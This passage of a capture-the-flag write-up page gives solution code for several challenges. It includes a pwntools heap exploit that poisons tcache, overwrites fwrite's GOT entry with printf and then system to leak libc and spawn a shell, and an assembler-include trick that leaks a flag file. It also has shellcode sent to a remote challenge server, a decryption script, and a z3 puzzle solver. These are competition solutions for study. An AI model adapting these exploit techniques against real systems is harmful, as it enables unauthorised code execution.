  r = process([binary, <span class="hljs-string">"0"</span>], env={<span class="hljs-string">"LD_LIBRARY_PATH"</span>:<span class="hljs-string">"."</span>})

<span class="hljs-keyword">else</span>:
  r = remote(host ,port)

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">'__main__'</span>:
  create_note(<span class="hljs-number">0</span>)
  create_note(<span class="hljs-number">0</span>)
  wtf()
  write_bin(<span class="hljs-number">0</span>,<span class="hljs-string">""</span>)
  create_note(<span class="hljs-number">0</span>)
  create_note(<span class="hljs-number">0</span>)
  root = <span class="hljs-number">0x0519188</span>
  pool = <span class="hljs-number">0x0519170</span>
  buf = <span class="hljs-number">0x519800</span>
  fwrite_got = <span class="hljs-number">0x519098</span>
  write_text(<span class="hljs-number">0</span>,p64(<span class="hljs-number">0x41</span>) + p64(<span class="hljs-number">0x41</span>) + p64(<span class="hljs-number">0x519800</span>) + p64(<span class="hljs-number">0x519800</span>) + p64(<span class="hljs-number">0x519800</span>+<span class="hljs-number">0x100</span>) + p64(<span class="hljs-number">0x200</span>) + p64(<span class="hljs-number">0</span>) + p64(<span class="hljs-number">0</span>)) <span class="hljs-comment"># fake structure</span>
  write_text(<span class="hljs-number">0x41</span>,<span class="hljs-string">b"\x00"</span>*<span class="hljs-number">192</span> + p64(fwrite_got)) <span class="hljs-comment"># heap overflow &amp; 0x20 tcache fd changed to fwrite_got</span>

  create_note(<span class="hljs-number">0</span>)
  printf_plt = <span class="hljs-number">0x404056</span>
  write_text(<span class="hljs-number">5</span>,p64(printf_plt)) <span class="hljs-comment"># Change fwrite_got of tcache attack to printf_plt</span>
  fmt = <span class="hljs-string">"%p."</span>*<span class="hljs-number">0x10</span>
  write_text(<span class="hljs-number">0</span>,fmt) <span class="hljs-comment"># fmt leak libc</span>
  read_text(<span class="hljs-string">"0"</span>)
  <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">14</span>):
    r.recvuntil(<span class="hljs-string">"."</span>)
  libc = int(r.recvuntil(<span class="hljs-string">"."</span>)[:<span class="hljs-number">-1</span>],<span class="hljs-number">16</span>) - <span class="hljs-number">0x270b3</span>
  print(<span class="hljs-string">"libc = {}"</span>.format(hex(libc)))
  system = libc + <span class="hljs-number">0x55410</span>
  write_text(<span class="hljs-number">5</span>,p64(system)) <span class="hljs-comment"># fwrite_got changed to system </span>
  fmt = <span class="hljs-string">"sh;"</span>
  fmt = fmt.ljust(<span class="hljs-number">0x60</span>)
  write_text(<span class="hljs-number">0</span>,fmt)
  read_text(<span class="hljs-string">"0"</span>)

  r.interactive()</code></pre><h3 id="revenge-of-pwn"><a class="header-link" href="#revenge-of-pwn"></a>Revenge of Pwn</h3>
<ul class="list">
<li>shellcraft.stager(&#39;0\n\t.include &quot;/home/deploy/flag&quot;&#39;, 0x4000) </li>
<li>will fail on asm and print error message with the flag.</li>
</ul>
<pre class="hljs"><code><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;sys/socket.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;sys/types.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;netinet/in.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;netdb.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdio.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;string.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdlib.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;unistd.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;errno.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;arpa/inet.h&gt;</span> </span>

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">(<span class="hljs-keyword">int</span> argc, <span class="hljs-keyword">char</span> *argv[])</span>
</span>{
    setvbuf(<span class="hljs-built_in">stdout</span>,<span class="hljs-number">0</span>,<span class="hljs-number">2</span>,<span class="hljs-number">0</span>);
    <span class="hljs-keyword">char</span> buf[<span class="hljs-number">0x100</span>];
    <span class="hljs-built_in">puts</span>(<span class="hljs-string">"stack address @ 0x0"</span>);
    read(<span class="hljs-number">0</span>,buf,<span class="hljs-number">0x100</span>);
    <span class="hljs-keyword">int</span> sockfd = <span class="hljs-number">0</span>, n = <span class="hljs-number">0</span>;
    <span class="hljs-keyword">char</span> recvBuff[<span class="hljs-number">1024</span>];
    <span class="hljs-keyword">struct</span> sockaddr_in serv_addr; 


    <span class="hljs-keyword">if</span>((sockfd = socket(AF_INET, SOCK_STREAM, <span class="hljs-number">0</span>)) &lt; <span class="hljs-number">0</span>)
    {
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"\n Error : Could not create socket \n"</span>);
        <span class="hljs-keyword">return</span> <span class="hljs-number">1</span>;
    } 

    <span class="hljs-built_in">memset</span>(&amp;serv_addr, <span class="hljs-string">'0'</span>, <span class="hljs-keyword">sizeof</span>(serv_addr)); 

    serv_addr.sin_family = AF_INET;
    serv_addr.sin_port = htons(<span class="hljs-number">31337</span>); 

    <span class="hljs-keyword">if</span>(inet_pton(AF_INET, <span class="hljs-string">"127.0.0.1"</span>, &amp;serv_addr.sin_addr)&lt;=<span class="hljs-number">0</span>)
    {
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"\n inet_pton error occured\n"</span>);
        <span class="hljs-keyword">return</span> <span class="hljs-number">1</span>;
    } 

    <span class="hljs-keyword">if</span>( connect(sockfd, (<span class="hljs-keyword">struct</span> sockaddr *)&amp;serv_addr, <span class="hljs-keyword">sizeof</span>(serv_addr)) &lt; <span class="hljs-number">0</span>)
    {
       <span class="hljs-built_in">printf</span>(<span class="hljs-string">"\n Error : Connect Failed \n"</span>);
       <span class="hljs-keyword">return</span> <span class="hljs-number">1</span>;
    } 
    dprintf(sockfd,<span class="hljs-string">"0\n\t.include \"/home/deploy/flag\"@"</span>);
    <span class="hljs-keyword">while</span>(<span class="hljs-number">1</span>) ;


}
</code></pre><h2 id="reverse"><a class="header-link" href="#reverse"></a>Reverse</h2>
<h3 id="tenet"><a class="header-link" href="#tenet"></a>Tenet</h3>
<p>shellcode will clear cookie when run
replayed shellcode will then restore cookie through case encoded bitstream</p>
<pre class="hljs"><code>from pwn import *

context.arch = <span class="hljs-string">'amd64'</span>

shellcode = asm(f<span class="hljs-string">'''</span>
                 <span class="hljs-keyword">jmp</span> START
<span class="hljs-symbol">
                 CASE0:</span>
                   <span class="hljs-keyword">mov</span> <span class="hljs-built_in">bl</span>, <span class="hljs-built_in">BYTE</span> <span class="hljs-built_in">PTR</span> [<span class="hljs-built_in">rdi</span>]
                   <span class="hljs-keyword">mov</span> <span class="hljs-built_in">BYTE</span> <span class="hljs-built_in">PTR</span> [<span class="hljs-built_in">rdi</span>], <span class="hljs-built_in">bl</span>
                   <span class="hljs-keyword">or</span> <span class="hljs-built_in">bl</span>, <span class="hljs-built_in">al</span>
                   <span class="hljs-keyword">shl</span> <span class="hljs-built_in">al</span>, <span class="hljs-built_in">cl</span>
                   <span class="hljs-keyword">mov</span> <span class="hljs-built_in">bl</span>, <span class="hljs-built_in">BYTE</span> <span class="hljs-built_in">PTR</span> [<span class="hljs-built_in">rdi</span>]
                   <span class="hljs-keyword">mov</span> <span class="hljs-built_in">al</span>, <span class="hljs-number">0</span>
                   <span class="hljs-keyword">jmp</span> LANDING
<span class="hljs-symbol">
                 CASE1:</span>
                   <span class="hljs-keyword">mov</span> <span class="hljs-built_in">bl</span>, <span class="hljs-built_in">BYTE</span> <span class="hljs-built_in">PTR</span> [<span class="hljs-built_in">rdi</span>]
                   <span class="hljs-keyword">mov</span> <span class="hljs-built_in">BYTE</span> <span class="hljs-built_in">PTR</span> [<span class="hljs-built_in">rdi</span>], <span class="hljs-built_in">bl</span>
                   <span class="hljs-keyword">or</span> <span class="hljs-built_in">bl</span>, <span class="hljs-built_in">al</span>
                   <span class="hljs-keyword">shl</span> <span class="hljs-built_in">al</span>, <span class="hljs-built_in">cl</span>
                   <span class="hljs-keyword">mov</span> <span class="hljs-built_in">bl</span>, <span class="hljs-built_in">BYTE</span> <span class="hljs-built_in">PTR</span> [<span class="hljs-built_in">rdi</span>]
                   <span class="hljs-keyword">mov</span> <span class="hljs-built_in">al</span>, <span class="hljs-number">1</span>
                   <span class="hljs-keyword">jmp</span> LANDING
<span class="hljs-symbol">
                 START:</span>
                 <span class="hljs-keyword">mov</span> <span class="hljs-built_in">rdi</span>, <span class="hljs-number">0x2170000</span>
<span class="hljs-symbol">                 OUTERLOOP:</span>
                   <span class="hljs-keyword">xor</span> <span class="hljs-built_in">rcx</span>, <span class="hljs-built_in">rcx</span>
<span class="hljs-symbol">                   INNERLOOP:</span>
                     <span class="hljs-keyword">xor</span> <span class="hljs-built_in">rax</span>, <span class="hljs-built_in">rax</span>
                     <span class="hljs-keyword">mov</span> <span class="hljs-built_in">al</span>, <span class="hljs-built_in">byte</span> <span class="hljs-built_in">ptr</span> [<span class="hljs-built_in">rdi</span>]
                     <span class="hljs-keyword">shr</span> <span class="hljs-built_in">al</span>, <span class="hljs-built_in">cl</span>
                     <span class="hljs-keyword">and</span> <span class="hljs-built_in">al</span>, <span class="hljs-number">1</span>
                     <span class="hljs-keyword">test</span> <span class="hljs-built_in">al</span>, <span class="hljs-built_in">al</span>
                     <span class="hljs-keyword">jz</span> CASE0
                     <span class="hljs-keyword">jmp</span> CASE1
<span class="hljs-symbol">                     LANDING:</span>

                     <span class="hljs-keyword">mov</span> <span class="hljs-built_in">r12</span>, <span class="hljs-built_in">rcx</span>
                     <span class="hljs-keyword">inc</span> <span class="hljs-built_in">r12</span>
                     <span class="hljs-keyword">mov</span> <span class="hljs-built_in">rcx</span>, <span class="hljs-built_in">r12</span>
                     <span class="hljs-keyword">dec</span> <span class="hljs-built_in">r12</span>
                     <span class="hljs-keyword">mov</span> <span class="hljs-built_in">r12</span>, <span class="hljs-built_in">rcx</span>

                     <span class="hljs-keyword">cmp</span> <span class="hljs-built_in">rcx</span>, <span class="hljs-number">8</span>
                     <span class="hljs-keyword">jne</span> INNERLOOP
                   <span class="hljs-keyword">mov</span> <span class="hljs-built_in">rcx</span>, <span class="hljs-number">8</span>
                   <span class="hljs-keyword">mov</span> <span class="hljs-built_in">BYTE</span> <span class="hljs-built_in">PTR</span> [<span class="hljs-built_in">rdi</span>], <span class="hljs-number">0</span>

                   <span class="hljs-keyword">mov</span> <span class="hljs-built_in">r12</span>, <span class="hljs-built_in">rdi</span>
                   <span class="hljs-keyword">inc</span> <span class="hljs-built_in">r12</span>
                   <span class="hljs-keyword">mov</span> <span class="hljs-built_in">rdi</span>, <span class="hljs-built_in">r12</span>
                   <span class="hljs-keyword">dec</span> <span class="hljs-built_in">r12</span>
                   <span class="hljs-keyword">mov</span> <span class="hljs-built_in">r12</span>, <span class="hljs-built_in">rdi</span>

                   <span class="hljs-keyword">cmp</span> <span class="hljs-built_in">rdi</span>, <span class="hljs-number">0x2170008</span>
                   <span class="hljs-keyword">jne</span> OUTERLOOP

                 <span class="hljs-keyword">mov</span> <span class="hljs-built_in">rdi</span>, <span class="hljs-number">0x2170008</span>
                 <span class="hljs-keyword">mov</span> <span class="hljs-built_in">rdi</span>, <span class="hljs-number">0</span>
                 <span class="hljs-keyword">mov</span> <span class="hljs-built_in">rax</span>, <span class="hljs-number">0x3c</span>
                 <span class="hljs-keyword">syscall</span>
                 <span class="hljs-string">'''</span>)

r = remote(<span class="hljs-string">'52.192.42.215'</span>,<span class="hljs-number">9427</span>)

r.sendlineafter(<span class="hljs-string">')\n'</span>,<span class="hljs-keyword">str</span>(len(shellcode)))
r.sendafter(<span class="hljs-string">'..\n'</span>,shellcode)

r.interactive()</code></pre><h3 id="sop"><a class="header-link" href="#sop"></a>SOP</h3>
<pre class="hljs"><code>from pwn import *
from Crypto.Util.number import long_to_bytes

def encrypt(<span class="hljs-keyword">inp</span>):
    res = []
    <span class="hljs-keyword">for</span> <span class="hljs-keyword">INP</span> <span class="hljs-keyword">in</span> <span class="hljs-keyword">inp</span>:
        <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-keyword">range</span>(32):
            <span class="hljs-keyword">INP</span>[8] = (<span class="hljs-keyword">INP</span>[8]+<span class="hljs-keyword">INP</span>[9])&amp;0xffffffff
            <span class="hljs-keyword">INP</span>[11] = (<span class="hljs-keyword">INP</span>[7]&lt;&lt;4)&amp;0xffffffff
            <span class="hljs-keyword">INP</span>[11] = (<span class="hljs-keyword">INP</span>[11]+<span class="hljs-keyword">INP</span>[2])&amp;0xffffffff
            <span class="hljs-keyword">INP</span>[12] = (<span class="hljs-keyword">INP</span>[7]&gt;&gt;5)&amp;0xffffffff
            <span class="hljs-keyword">INP</span>[12] = (<span class="hljs-keyword">INP</span>[12]+<span class="hljs-keyword">INP</span>[3])&amp;0xffffffff
            <span class="hljs-keyword">INP</span>[11] = (<span class="hljs-keyword">INP</span>[11]^<span class="hljs-keyword">INP</span>[12])&amp;0xffffffff
            <span class="hljs-keyword">INP</span>[12] = (<span class="hljs-keyword">INP</span>[7]+<span class="hljs-keyword">INP</span>[8])&amp;0xffffffff
            <span class="hljs-keyword">INP</span>[11] = (<span class="hljs-keyword">INP</span>[11]^<span class="hljs-keyword">INP</span>[12])&amp;0xffffffff
            <span class="hljs-keyword">INP</span>[6] = (<span class="hljs-keyword">INP</span>[6]+<span class="hljs-keyword">INP</span>[11])&amp;0xffffffff

            <span class="hljs-keyword">INP</span>[11] = (<span class="hljs-keyword">INP</span>[6]&lt;&lt;4)&amp;0xffffffff
            <span class="hljs-keyword">INP</span>[11] = (<span class="hljs-keyword">INP</span>[11]+<span class="hljs-keyword">INP</span>[4])&amp;0xffffffff
            <span class="hljs-keyword">INP</span>[12] = (<span class="hljs-keyword">INP</span>[6]&gt;&gt;5)&amp;0xffffffff
            <span class="hljs-keyword">INP</span>[12] = (<span class="hljs-keyword">INP</span>[12]+<span class="hljs-keyword">INP</span>[5])&amp;0xffffffff
            <span class="hljs-keyword">INP</span>[11] = (<span class="hljs-keyword">INP</span>[11]^<span class="hljs-keyword">INP</span>[12])&amp;0xffffffff
            <span class="hljs-keyword">INP</span>[12] = (<span class="hljs-keyword">INP</span>[6]+<span class="hljs-keyword">INP</span>[8])&amp;0xffffffff
            <span class="hljs-keyword">INP</span>[11] = (<span class="hljs-keyword">INP</span>[11]^<span class="hljs-keyword">INP</span>[12])&amp;0xffffffff
            <span class="hljs-keyword">INP</span>[7] = (<span class="hljs-keyword">INP</span>[7]+<span class="hljs-keyword">INP</span>[11])&amp;0xffffffff

        res.<span class="hljs-keyword">append</span>(<span class="hljs-keyword">INP</span>[6])
        res.<span class="hljs-keyword">append</span>(<span class="hljs-keyword">INP</span>[7])
    <span class="hljs-keyword">return</span> res

def decrypt(<span class="hljs-keyword">inp</span>):
    res = []
    <span class="hljs-keyword">for</span> <span class="hljs-keyword">INP</span> <span class="hljs-keyword">in</span> <span class="hljs-keyword">inp</span>:
        <span class="hljs-keyword">INP</span>[8] = (<span class="hljs-keyword">INP</span>[9]*32)&amp;0xffffffff
        <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-keyword">range</span>(32):
            <span class="hljs-keyword">INP</span>[11] = (<span class="hljs-keyword">INP</span>[7]&lt;&lt;4)&amp;0xffffffff
            <span class="hljs-keyword">INP</span>[11] = (<span class="hljs-keyword">INP</span>[11]+<span class="hljs-keyword">INP</span>[2])&amp;0xffffffff
            <span class="hljs-keyword">INP</span>[12] = (<span class="hljs-keyword">INP</span>[7]&gt;&gt;5)&amp;0xffffffff
            <span class="hljs-keyword">INP</span>[12] = (<span class="hljs-keyword">INP</span>[12]+<span class="hljs-keyword">INP</span>[3])&amp;0xffffffff
            <span class="hljs-keyword">INP</span>[11] = (<span class="hljs-keyword">INP</span>[11]^<span class="hljs-keyword">INP</span>[12])&amp;0xffffffff
            <span class="hljs-keyword">INP</span>[12] = (<span class="hljs-keyword">INP</span>[7]+<span class="hljs-keyword">INP</span>[8])&amp;0xffffffff
            <span class="hljs-keyword">INP</span>[11] = (<span class="hljs-keyword">INP</span>[11]^<span class="hljs-keyword">INP</span>[12])&amp;0xffffffff
            <span class="hljs-keyword">INP</span>[6] = (<span class="hljs-keyword">INP</span>[6]-<span class="hljs-keyword">INP</span>[11]+(1&lt;&lt;32))&amp;0xffffffff

            <span class="hljs-keyword">INP</span>[11] = (<span class="hljs-keyword">INP</span>[6]&lt;&lt;4)&amp;0xffffffff
            <span class="hljs-keyword">INP</span>[11] = (<span class="hljs-keyword">INP</span>[11]+<span class="hljs-keyword">INP</span>[4])&amp;0xffffffff
            <span class="hljs-keyword">INP</span>[12] = (<span class="hljs-keyword">INP</span>[6]&gt;&gt;5)&amp;0xffffffff
            <span class="hljs-keyword">INP</span>[12] = (<span class="hljs-keyword">INP</span>[12]+<span class="hljs-keyword">INP</span>[5])&amp;0xffffffff
            <span class="hljs-keyword">INP</span>[11] = (<span class="hljs-keyword">INP</span>[11]^<span class="hljs-keyword">INP</span>[12])&amp;0xffffffff
            <span class="hljs-keyword">INP</span>[12] = (<span class="hljs-keyword">INP</span>[6]+<span class="hljs-keyword">INP</span>[8])&amp;0xffffffff
            <span class="hljs-keyword">INP</span>[11] = (<span class="hljs-keyword">INP</span>[11]^<span class="hljs-keyword">INP</span>[12])&amp;0xffffffff
            <span class="hljs-keyword">INP</span>[7] = (<span class="hljs-keyword">INP</span>[7]-<span class="hljs-keyword">INP</span>[11]+(1&lt;&lt;32))&amp;0xffffffff
            <span class="hljs-keyword">INP</span>[8] = (<span class="hljs-keyword">INP</span>[8]-<span class="hljs-keyword">INP</span>[9]+(1&lt;&lt;32))&amp;0xffffffff

        res.<span class="hljs-keyword">append</span>(<span class="hljs-keyword">INP</span>[7])
        res.<span class="hljs-keyword">append</span>(<span class="hljs-keyword">INP</span>[6])
    <span class="hljs-keyword">return</span> res

keys = [0x152ceed2,0xd6046dc3,0x4a9d3ffd,0xbb541082,0x632a4f78,0x0a9cb93d,0x58aae351,0x92012a14]

<span class="hljs-keyword">inp</span> = [[0,0,0x2b0b575b,0x1e8b51cc,0x69a33fff,0x468932dc,keys[1],keys[0],0,0x51fdd41a,0,0,0,0],
       [0,0,0x688620f9,0x8df954f3,0x32e57ab6,0x7785df55,keys[3],keys[2],0,0x5c37a6db,0,0,0,0],
       [0,0,0x1bd1fc38,0x14220605,0xaca81571,0x2c19574f,keys[5],keys[4],0,0xb4f0b4fb,0,0,0,0],
       [0,0,0xe9ab109d,0x8d4f04b2,0x33f33fe0,0xf9de7e36,keys[7],keys[6],0,0xd3c45f8c,0,0,0,0]]
res = decrypt(<span class="hljs-keyword">inp</span>)
<span class="hljs-keyword">print</span>(b''.join(map(p32,res)))</code></pre><h3 id="11011001"><a class="header-link" href="#11011001"></a>11011001</h3>
<pre class="hljs"><code><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;bits/stdc++.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">"z3++.h"</span></span>
<span class="hljs-keyword">using</span> <span class="hljs-keyword">namespace</span> z3;

<span class="hljs-built_in">std</span>::<span class="hljs-built_in">string</span> s = <span class="hljs-string">R"foo(0------1----------0-
--1-1--1-----11--0-1
--------------------
---1-11-11---0------
--0-----1--0-----1-1
---0------1---1-----
1--00---1----11-0---
--1----1---0------0-
---------1--1--0---1
--00---1---0-0------
--------0----------0
-00------1-------0-0
----00--0----11-----
---------1-0----0---
-0------1--0--------
---1--0---0----0--11
-0----0-1---01------
----0----0------11--
-0----10-0-0--------
0------1-----0-00-0-
)foo"</span>;

context ctx;

<span class="hljs-function">expr <span class="hljs-title">get</span><span class="hljs-params">(<span class="hljs-keyword">int</span> x, <span class="hljs-keyword">int</span> y)</span> </span>{
  <span class="hljs-keyword">return</span> ctx.bool_const((<span class="hljs-built_in">std</span>::to_string(x) + <span class="hljs-string">"_"</span> + <span class="hljs-built_in">std</span>::to_string(y)).c_str());
}
<span class="hljs-keyword">constexpr</span> <span class="hljs-keyword">int</span> kN = <span class="hljs-number">20</span>;
<span class="hljs-function"><span class="hljs-keyword">char</span> <span class="hljs-title">gc</span><span class="hljs-params">(<span class="hljs-keyword">int</span> x, <span class="hljs-keyword">int</span> y)</span> </span>{
  <span class="hljs-keyword">return</span> s[x * (kN + <span class="hljs-number">1</span>) + y];
}

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{
  assert(s.size() == ((kN + <span class="hljs-number">1</span>) * kN));

  <span class="hljs-function">solver <span class="hljs-title">sol</span><span class="hljs-params">(ctx)</span></span>;
  <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> x = <span class="hljs-number">0</span>; x &lt; kN; x++) {
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> y = <span class="hljs-number">2</span>; y &lt; kN; y++) {
      sol.add(get(x, y - <span class="hljs-number">2</span>) || get(x, y - <span class="hljs-number">1</span>) || get(x, y));
      sol.add(!(get(x, y - <span class="hljs-number">2</span>) &amp;&amp; get(x, y - <span class="hljs-number">1</span>) &amp;&amp; get(x, y)));
    }
  }
  <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> y = <span class="hljs-number">0</span>; y &lt; kN; y++) {
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> x = <span class="hljs-number">2</span>; x &lt; kN; x++) {
      sol.add(get(x - <span class="hljs-number">2</span>, y) || get(x - <span class="hljs-number">1</span>, y) || get(x, y));
      sol.add(!(get(x - <span class="hljs-number">2</span>, y) &amp;&amp; get(x - <span class="hljs-number">1</span>, y) &amp;&amp; get(x, y)));
    }
  }

  <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> x = <span class="hljs-number">0</span>; x &lt; kN; x++) {
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> y = <span class="hljs-number">0</span>; y &lt; kN; y++) {
      <span class="hljs-keyword">char</span> c = gc(x, y);
      <span class="hljs-keyword">if</span> (c == <span class="hljs-string">'0'</span>)
        sol.add(!get(x, y));
      <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (c == <span class="hljs-string">'1'</span>)
        sol.add(get(x, y));
    }
  }

  <span class="hljs-keyword">int</span> coef[kN];
  <span class="hljs-built_in">std</span>::fill(coef, <span class="hljs-built_in">std</span>::end(coef), <span class="hljs-number">1</span>);
  <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> x = <span class="hljs-number">0</span>; x &lt; kN; x++) {
    <span class="hljs-function">expr_vector <span class="hljs-title">v</span><span class="hljs-params">(ctx)</span></span>;
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> y = <span class="hljs-number">0</span>; y &lt; kN; y++)
      v.push_back(get(x, y));
    sol.add(pbeq(v, coef, <span class="hljs-number">10</span>));
  }
  <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> y = <span class="hljs-number">0</span>; y &lt; kN; y++) {
    <span class="hljs-function">expr_vector <span class="hljs-title">v</span><span class="hljs-params">(ctx)</span></span>;
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> x = <span class="hljs-number">0</span>; x &lt; kN; x++)
      v.push_back(get(x, y));
    sol.add(pbeq(v, coef, <span class="hljs-number">10</span>));
  }

  <span class="hljs-built_in">std</span>::<span class="hljs-built_in">cout</span> &lt;&lt; sol.check() &lt;&lt; <span class="hljs-built_in">std</span>::<span class="hljs-built_in">endl</span>;
  model m = sol.get_model();
  <span class="hljs-built_in">std</span>::<span class="hljs-built_in">vector</span>&lt;<span class="hljs-keyword">int</span>&gt; res;
  <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> x = <span class="hljs-number">0</span>; x &lt; kN; x++) {
    <span class="hljs-keyword">int</span> num = <span class="hljs-number">0</span>;
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> y = <span class="hljs-number">0</span>; y &lt; kN; y++) {
      <span class="hljs-keyword">int</span> t = m.eval(get(x, y)).bool_value();
      <span class="hljs-keyword">if</span> (t &lt; <span class="hljs-number">0</span>) t = <span class="hljs-number">0</span>;
      <span class="hljs-built_in">std</span>::<span class="hljs-built_in">cout</span> &lt;&lt; t;
      num = (num &lt;&lt; <span class="hljs-number">1</span>) | t;
    }
    <span class="hljs-built_in">std</span>::<span class="hljs-built_in">cout</span> &lt;&lt; <span class="hljs-built_in">std</span>::<span class="hljs-built_in">endl</span>;
    res.push_back(num);
  }
  <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> num : res)
    <span class="hljs-built_in">std</span>::<span class="hljs-built_in">cout</span> &lt;&lt; num &lt;&lt; <span class="hljs-built_in">std</span>::<span class="hljs-built_in">endl</span>;
}</code></pre><h2 id="forensics"><a class="header-link" href="#forensics"></a>Forensics</h2>
<h3 id="ac1750"><a class="header-link" href="#ac1750"></a>AC1750</h3>
<p>The file we are given is the packet log of <a href="https://www.thezdi.com/blog/2020/4/6/exploiting-the-tp-link-archer-c7-at-pwn2own-tokyo">this attack</a>. Just decrypt the UDP payloads according to the information from that article, and you&#39;ll see the commands that save the flag.</p>
        </article>
      </div>
    </div>
  </body>
</html>
